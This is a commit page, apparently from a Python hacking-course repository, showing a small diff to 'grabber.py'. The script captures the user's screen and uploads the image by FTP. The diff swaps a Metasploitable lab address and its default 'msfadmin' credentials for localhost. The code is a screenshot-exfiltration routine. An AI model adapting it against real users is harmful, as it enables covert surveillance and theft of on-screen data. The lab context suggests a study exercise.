Movatterモバイル変換


[0]ホーム

URL:


Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commit90c8509

Browse files
committed
update grabber.py
1 parent9a2eb48 commit90c8509

File tree

1 file changed

+2
-3
lines changed

1 file changed

+2
-3
lines changed

‎03/grabber.py

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -9,12 +9,11 @@
99
memo=wx.MemoryDC(bmap)
1010
memo.Blit(0,0,size[0],size[1],screen,0,0)
1111

12-
delmemo
1312
bmap.SaveFile("grabbed.png",wx.BITMAP_TYPE_PNG)
1413

15-
sess_=ftplib.FTP("192.168.85.128","msfadmin","msfadmin")
14+
sess_=ftplib.FTP("localhost","flypython","flypython")
1615
file_=open("grabbed.png","rb")
17-
sess_.storbinary("STOR/tmp/grabbed.png",file_)
16+
sess_.storbinary("STORgrabbed.png",file_)
1817

1918
file_.close()
2019
sess_.quit()

0 commit comments

Comments
 (0)

[8]ページ先頭

©2009-2025 Movatter.jp